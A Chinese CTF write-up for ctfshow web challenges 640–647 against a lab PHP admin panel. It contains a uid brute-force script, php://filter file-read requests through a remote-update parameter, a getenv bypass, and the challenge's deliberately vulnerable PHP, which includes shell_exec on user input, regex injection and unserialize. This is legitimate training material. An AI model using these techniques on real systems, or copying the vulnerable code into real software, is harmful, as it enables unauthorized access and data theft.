信息收集
这个环境就只涉及目录扫描了
[18:04:02] 200 - 43B - /.bowerrc
[18:04:03] 200 - 34B - /.gitignore
[18:04:04] 200 - 2KB - /.travis.yml
[18:04:24] 200 - 3KB - /page.php
[18:04:28] 200 - 19B - /robots.txt
/robots.txt
得到source.txt
访问发现是某个php文件的源码
include 'init.php';
function addUser($data,$username,$password){
$ret = array(
'code'=>0,
'message'=>'添加成功'
);
if(existsUser($data,$username)==0){
$s = $data.$username.'@'.$password.'|';
file_put_contents(DB_PATH, $s);
}else{
$ret['code']=-1;
$ret['message']='用户已存在';
}
return json_encode($ret);
}
function updateUser($data,$username,$password){
$ret = array(
'code'=>0,
'message'=>'更新成功'
);
if(existsUser($data,$username)>0 && $username!='admin'){
$s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\|/', $username.'@'.$password.'|', $data);
file_put_contents(DB_PATH, $s);
}else{
$ret['code']=-1;
$ret['message']='用户不存在或无权更新';
}
return json_encode($ret);
}
function delUser($data,$username){
$ret = array(
'code'=>0,
'message'=>'删除成功'
);
if(existsUser($data,$username)>0 && $username!='admin'){
$s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\|/', '', $data);
file_put_contents(DB_PATH, $s);
}else{
$ret['code']=-1;
$ret['message']='用户不存在或无权删除';
}
return json_encode($ret);
}
function existsUser($data,$username){
return preg_match('/'.$username.'@[0-9a-zA-Z]+\|/', $data);
}
function initCache(){
return file_exists('cache.php')?:file_put_contents('cache.php','<!-- ctfshow-web-cache -->');
}
function clearCache(){
shell_exec('rm -rf cache.php');
return 'ok';
}
function flushCache(){
if(file_exists('cache.php') && file_get_contents('cache.php')===false){
return FLAG646;
}else{
return '';
}
}
function netTest($cmd){
$ret = array(
'code'=>0,
'message'=>'命令执行失败'
);
if(preg_match('/ping ((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}/', $cmd)){
$res = shell_exec($cmd);
stripos(PHP_OS,'WIN')!==FALSE?$ret['message']=iconv("GBK", "UTF-8", $res):$ret['message']=$res;
}
if(preg_match('/^[A-Za-z]+$/', $cmd)){
$res = shell_exec($cmd);
stripos(PHP_OS,'WIN')!==FALSE?$ret['message']=iconv("GBK", "UTF-8", $res):$ret['message']=$res;
}
return json_encode($ret);
}
Web640
访问就可以拿到
Web641
favicon.ico
、/admin/
等等返回的响应头可以拿到
Web642
泄露了后台地址
Web643
/system36d/login.php
可以看到登录页面,抓包发现与后端没有交互,应该是在js里面
找到Web644的flag和一个地址,s控制登录的uid,访问之后跳转到后台首页,发现是普通用户,尝试一下能不能爆破出管理员的uid
from requests import *
from bs4 import BeautifulSoup
for i in range(0,100):
m=get(f"http://1fac82d3-c655-46d1-bd1e-b61bdb51910e.challenge.ctf.show/system36d/checklogin.php?s={i}",allow_redirects=True)
html=BeautifulSoup(m.text,"lxml")
if html.find("title") is not None:
print(i,"success")
两个普通用户,貌似没什么卵用,找到一个可以执行命令的点
执行以下find,列出所有文件
.
./secret.txt
./static
./static/layui_
./static/layui_/lay
./static/layui_/lay/modules
./static/layui_/lay/modules/form.js
./static/layui_/lay/modules/colorpicker.js
./static/layui_/lay/modules/jquery.js
./static/layui_/lay/modules/layedit.js
./static/layui_/lay/modules/transfer.js
./static/layui_/lay/modules/laytpl.js
./static/layui_/lay/modules/flow.js
./static/layui_/lay/modules/table.js
./static/layui_/lay/modules/util.js
./static/layui_/lay/modules/upload.js
./static/layui_/lay/modules/code.js
./static/layui_/lay/modules/laypage.js
./static/layui_/lay/modules/mobile.js
./static/layui_/lay/modules/element.js
./static/layui_/lay/modules/laydate.js
./static/layui_/lay/modules/tree.js
./static/layui_/lay/modules/rate.js
./static/layui_/lay/modules/layer.js
./static/layui_/lay/modules/slider.js
./static/layui_/lay/modules/carousel.js
./static/layui_/layui.js
./static/layui_/css
./static/layui_/css/layui.mobile.css
./static/layui_/css/layui.css
./static/layui_/css/modules
./static/layui_/css/modules/layer
./static/layui_/css/modules/layer/default
./static/layui_/css/modules/layer/default/layer.css
./static/layui_/css/modules/layer/default/loading-0.gif
./static/layui_/css/modules/layer/default/icon-ext.png
./static/layui_/css/modules/layer/default/loading-1.gif
./static/layui_/css/modules/layer/default/loading-2.gif
./static/layui_/css/modules/layer/default/icon.png
./static/layui_/css/modules/code.css
./static/layui_/css/modules/laydate
./static/layui_/css/modules/laydate/default
./static/layui_/css/modules/laydate/default/laydate.css
./static/layui_/font
./static/layui_/font/iconfont.svg
./static/layui_/font/iconfont.eot
./static/layui_/font/iconfont.woff
./static/layui_/font/iconfont.woff2
./static/layui_/font/iconfont.ttf
./static/layui_/layui.all.js
./static/layui_/images
./static/layui_/images/face
./static/layui_/images/face/32.gif
./static/layui_/images/face/59.gif
./static/layui_/images/face/66.gif
./static/layui_/images/face/35.gif
./static/layui_/images/face/40.gif
./static/layui_/images/face/53.gif
./static/layui_/images/face/0.gif
./static/layui_/images/face/51.gif
./static/layui_/images/face/55.gif
./static/layui_/images/face/38.gif
./static/layui_/images/face/42.gif
./static/layui_/images/face/69.gif
./static/layui_/images/face/71.gif
./static/layui_/images/face/7.gif
./static/layui_/images/face/45.gif
./static/layui_/images/face/58.gif
./static/layui_/images/face/25.gif
./static/layui_/images/face/34.gif
./static/layui_/images/face/11.gif
./static/layui_/images/face/5.gif
./static/layui_/images/face/24.gif
./static/layui_/images/face/48.gif
./static/layui_/images/face/47.gif
./static/layui_/images/face/39.gif
./static/layui_/images/face/6.gif
./static/layui_/images/face/57.gif
./static/layui_/images/face/65.gif
./static/layui_/images/face/50.gif
./static/layui_/images/face/3.gif
./static/layui_/images/face/63.gif
./static/layui_/images/face/17.gif
./static/layui_/images/face/68.gif
./static/layui_/images/face/23.gif
./static/layui_/images/face/60.gif
./static/layui_/images/face/26.gif
./static/layui_/images/face/13.gif
./static/layui_/images/face/36.gif
./static/layui_/images/face/16.gif
./static/layui_/images/face/41.gif
./static/layui_/images/face/18.gif
./static/layui_/images/face/15.gif
./static/layui_/images/face/12.gif
./static/layui_/images/face/54.gif
./static/layui_/images/face/27.gif
./static/layui_/images/face/20.gif
./static/layui_/images/face/8.gif
./static/layui_/images/face/52.gif
./static/layui_/images/face/30.gif
./static/layui_/images/face/29.gif
./static/layui_/images/face/37.gif
./static/layui_/images/face/1.gif
./static/layui_/images/face/46.gif
./static/layui_/images/face/14.gif
./static/layui_/images/face/43.gif
./static/layui_/images/face/61.gif
./static/layui_/images/face/4.gif
./static/layui_/images/face/33.gif
./static/layui_/images/face/64.gif
./static/layui_/images/face/70.gif
./static/layui_/images/face/62.gif
./static/layui_/images/face/19.gif
./static/layui_/images/face/21.gif
./static/layui_/images/face/31.gif
./static/layui_/images/face/10.gif
./static/layui_/images/face/9.gif
./static/layui_/images/face/67.gif
./static/layui_/images/face/22.gif
./static/layui_/images/face/44.gif
./static/layui_/images/face/49.gif
./static/layui_/images/face/28.gif
./static/layui_/images/face/2.gif
./static/layui_/images/face/56.gif
./static/layui
./static/layui/layui.js
./static/layui/css
./static/layui/css/layui.css
./static/layui/css/modules
./static/layui/css/modules/layer
./static/layui/css/modules/layer/default
./static/layui/css/modules/layer/default/layer.css
./static/layui/css/modules/layer/default/loading-0.gif
./static/layui/css/modules/layer/default/icon-ext.png
./static/layui/css/modules/layer/default/loading-1.gif
./static/layui/css/modules/layer/default/loading-2.gif
./static/layui/css/modules/layer/default/icon.png
./static/layui/css/modules/code.css
./static/layui/css/modules/laydate
./static/layui/css/modules/laydate/default
./static/layui/css/modules/laydate/default/laydate.css
./static/layui/font
./static/layui/font/iconfont.svg
./static/layui/font/iconfont.eot
./static/layui/font/iconfont.woff
./static/layui/font/iconfont.woff2
./static/layui/font/iconfont.ttf
./static/js
./static/js/jquery.cookie.min.js
./static/js/jquery.contextmenu.r2.js
./static/js/jquery-3.2.1.min.js
./static/js/main.js
./static/js/lock
./static/js/lock/flickity.pkgd.js
./static/js/lock/index.js
./static/js/lock/howler.js
./static/js/base64.js
./static/css
./static/css/login.css
./static/css/start.css
./static/css/style.css
./static/css/lock
./static/css/lock/flickity.css
./static/css/lock/reset.min.css
./static/css/lock/style.css
./static/img
./static/img/avatar
./static/img/avatar/avatar.jpg
./util
./util/common.php
./util/auth.php
./util/dbutil.php
./main.php
./update2.php
./login.php
./update.php
./db
./db/data_you_never_know.db
./index.php
./users.php
./init.php
./checklogin.php
./logout.php
secret.txt
获得flag
Web644
system36d/static/js/lock/index.js
Web645
./db/data_you_never_know.db
下载出来
拿到flag
Web646
看到这里基本可以想到,之前拿到的source.txt
,users.php调用的就是那里面的函数
命令执行的限制比较死,应该不太容易getshell,找一下别的点
远程更新那里,可以访问url,但是不出网,猜测是file_get_contents
,
/system36d/users.php?action=remoteUpdate&auth=ctfshow%7B28b00f799c2e059bafaa1d6bda138d89%7D&update_address=php://filter/read=convert.base64-encode/resource=users.php
读取到users.php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-07-26 10:25:59
# @Last Modified by: h1xa
# @Last Modified time: 2021-08-01 01:52:58
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
session_start();
include 'init.php';
$a=$_GET['action'];
$data = file_get_contents(DB_PATH);
$ret = '';
switch ($a) {
case 'list':
$ret = getUsers($data,intval($_GET['page']),intval($_GET['limit']));
break;
case 'add':
$ret = addUser($data,$_GET['username'],$_GET['password']);
break;
case 'del':
$ret = delUser($data,$_GET['username']);
break;
case 'update':
$ret = updateUser($data,$_GET['username'],$_GET['password']);
break;
case 'backup':
backupUsers();
break;
case 'upload':
$ret = recoveryUsers();
break;
case 'phpInfo':
$ret = phpInfoTest();
break;
case 'netTest':
$ret = netTest($_GET['cmd']);
break;
case 'remoteUpdate':
$ret = remoteUpdate($_GET['auth'],$_GET['update_address']);
break;
case 'authKeyValidate':
$ret = authKeyValidate($_GET['auth']);
break;
case 'evilString':
evilString($_GET['m']);
break;
case 'evilNumber':
evilNumber($_GET['m'],$_GET['key']);
break;
case 'evilFunction':
evilFunction($_GET['m'],$_GET['key']);
break;
case 'evilArray':
evilArray($_GET['m'],$_GET['key']);
break;
case 'evilClass':
evilClass($_GET['m'],$_GET['key']);
break;
default:
$ret = json_encode(array(
'code'=>0,
'message'=>'数据获取失败',
));
break;
}
echo $ret;
function getUsers($data,$page=1,$limit=10){
$ret = array(
'code'=>0,
'message'=>'数据获取成功',
'data'=>array()
);
$isadmin = '否';
$pass = '';
$content='无';
$users = explode('|', $data);
array_pop($users);
$index = 1;
foreach ($users as $u) {
if(explode('@', $u)[0]=='admin'){
$isadmin = '是';
$pass = 'flag就是管理员的密码,不过我隐藏了';
$content = '删除此条记录后flag就会消失';
}else{
$pass = explode('@', $u)[1];
}
array_push($ret['data'], array(
'id'=>$index,
'username'=>explode('@', $u)[0],
'password'=>$pass,
'isAdmin'=>$isadmin,
'content'=>$content
));
$index +=1;
}
$ret['count']=$index;
$start = ($page-1)*$limit;
$ret['data']=array_slice($ret['data'], $start,$limit,true);
return json_encode($ret);
}
function addUser($data,$username,$password){
$ret = array(
'code'=>0,
'message'=>'添加成功'
);
if(existsUser($data,$username)==0){
$s = $data.$username.'@'.$password.'|';
file_put_contents(DB_PATH, $s);
}else{
$ret['code']=-1;
$ret['message']='用户已存在';
}
return json_encode($ret);
}
function updateUser($data,$username,$password){
$ret = array(
'code'=>0,
'message'=>'更新成功'
);
if(existsUser($data,$username)>0 && $username!='admin'){
$s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\|/', $username.'@'.$password.'|', $data);
file_put_contents(DB_PATH, $s);
}else{
$ret['code']=-1;
$ret['message']='用户不存在或无权更新';
}
return json_encode($ret);
}
function delUser($data,$username){
$ret = array(
'code'=>0,
'message'=>'删除成功'
);
if(existsUser($data,$username)>0 && $username!='admin'){
$s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\|/', '', $data);
file_put_contents(DB_PATH, $s);
}else{
$ret['code']=-1;
$ret['message']='用户不存在或无权删除';
}
return json_encode($ret);
}
function existsUser($data,$username){
return preg_match('/'.$username.'@[0-9a-zA-Z]+\|/', $data);
}
function backupUsers(){
$file_name = DB_PATH;
if (! file_exists ($file_name )) {
header('HTTP/1.1 404 NOT FOUND');
} else {
$file = fopen ($file_name, "rb" );
Header ( "Content-type: application/octet-stream" );
Header ( "Accept-Ranges: bytes" );
Header ( "Accept-Length: " . filesize ($file_name));
Header ( "Content-Disposition: attachment; filename=backup.dat");
echo str_replace(FLAG645, 'flag就在这里,可惜不能给你', fread ( $file, filesize ($file_name)));
fclose ( $file );
exit ();
}
}
function getArray($total, $times, $min, $max)
{
$data = array();
if ($min * $times > $total) {
return array();
}
if ($max * $times < $total) {
return array();
}
while ($times >= 1) {
$times--;
$kmix = max($min, $total - $times * $max);
$kmax = min($max, $total - $times * $min);
$kAvg = $total / ($times + 1);
$kDis = min($kAvg - $kmix, $kmax - $kAvg);
$r = ((float)(rand(1, 10000) / 10000) - 0.5) * $kDis * 2;
$k = round($kAvg + $r);
$total -= $k;
$data[] = $k;
}
return $data;
}
function recoveryUsers(){
$ret = array(
'code'=>0,
'message'=>'恢复成功'
);
if(isset($_FILES['file']) && $_FILES['file']['size']<1024*1024){
$file_name= $_FILES['file']['tmp_name'];
$result = move_uploaded_file($file_name, DB_PATH);
if($result===false){
$ret['message']='数据恢复失败 file_name'.$file_name.' DB_PATH='.DB_PATH;
}
}else{
$ret['message']='数据恢复失败';
}
return json_encode($ret);
}
function phpInfoTest(){
return phpinfo();
}
function authKeyValidate($auth){
$ret = array(
'code'=>0,
'message'=>$auth==substr(FLAG645, 8)?'验证成功':'验证失败',
'status'=>$auth==substr(FLAG645, 8)?'0':'-1'
);
return json_encode($ret);
}
function remoteUpdate($auth,$address){
$ret = array(
'code'=>0,
'message'=>'更新失败'
);
if($auth!==substr(FLAG645, 8)){
$ret['message']='权限key验证失败';
return json_encode($ret);
}else{
$content = file_get_contents($address);
$ret['message']=($content!==false?$content:'地址不可达');
}
return json_encode($ret);
}
function evilString($m){
$key = '372619038';
$content = call_user_func($m);
if(stripos($content, $key)!==FALSE){
echo shell_exec('cat /FLAG/FLAG647');
}else{
echo 'you are not 372619038?';
}
}
function evilClass($m,$k){
class ctfshow{
public $m;
public function construct($m){
$this->$m=$m;
}
}
$ctfshow=new ctfshow($m);
$ctfshow->$m=$m;
if($ctfshow->$m==$m && $k==shell_exec('cat /FLAG/FLAG647')){
echo shell_exec('cat /FLAG/FLAG648');
}else{
echo 'mmmmm?';
}
}
function evilNumber($m,$k){
$number = getArray(1000,20,10,999);
if($number[$m]==$m && $k==shell_exec('cat /FLAG/FLAG648')){
echo shell_exec('cat /FLAG/FLAG649');
}else{
echo 'number is right?';
}
}
function evilFunction($m,$k){
$key = 'ffffffff';
$content = call_user_func($m);
if(stripos($content, $key)!==FALSE && $k==shell_exec('cat /FLAG/FLAG649')){
echo shell_exec('cat /FLAG/FLAG650');
}else{
echo 'you are not ffffffff?';
}
}
function evilArray($m,$k){
$arrays=unserialize($m);
if($arrays!==false){
if(array_key_exists('username', $arrays) && in_array('ctfshow', get_object_vars($arrays)) && $k==shell_exec('cat /FLAG/FLAG650')){
echo shell_exec('cat /FLAG/FLAG651');
}else{
echo 'array?';
}
}
}
function netTest($cmd){
$ret = array(
'code'=>0,
'message'=>'命令执行失败'
);
if(preg_match('/^[A-Za-z]+$/', $cmd)){
$res = shell_exec($cmd);
stripos(PHP_OS,'WIN')!==FALSE?$ret['message']=iconv("GBK", "UTF-8", $res):$ret['message']=$res;
}
return json_encode($ret);
}
/system36d/users.php?action=remoteUpdate&auth=ctfshow%7B28b00f799c2e059bafaa1d6bda138d89%7D&update_address=php://filter/read=convert.base64-encode/resource=init.php
读取init.php
拿到flag
Web647
evilString函数,利用特性null!=false,使用数组绕过,getenv函数在php7.1之后可以返回一个数组,stripos一个参数是数组时会抛出错误返回null
/system36d/users.php?action=evilString&m=getenv